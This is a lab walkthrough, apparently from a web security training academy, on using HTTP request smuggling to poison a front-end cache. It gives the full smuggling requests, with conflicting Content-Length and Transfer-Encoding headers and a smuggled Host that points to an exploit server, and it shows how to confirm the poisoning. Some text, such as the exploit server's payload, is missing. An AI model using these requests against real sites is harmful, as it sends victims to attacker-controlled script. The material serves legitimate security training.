Lab: Exploiting HTTP request smuggling to perform web cache poisoning
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is configured to cache certain responses.
The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required.
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Open a blog post, click "Next post", and try smuggling the resulting request with a different Host header:
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
Observe that you can use this request to make the next request to the website get redirected to
/poston a host of your choice.
Go to your exploit server, and create a
/postwith the contents:
Poison the server cache by first relaunching the previous attack using your exploit server's hostname as follows:
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 193 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: your-exploit-server-hostname.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
/resources/js/tracking.jsby sending the following request:
GET /resources/js/tracking.js HTTP/1.1 Host: your-lab-id.web-security-academy.net Connection: close
If the attack has succeeded, the response to the
tracking.jsrequest should be a redirect to your exploit server.
Confirm that the cache has been poisoned by repeating the request to
tracking.jsseveral times and confirming that you receive the redirect every time.
You may need to repeat the POST/GET process several times before the attack succeeds.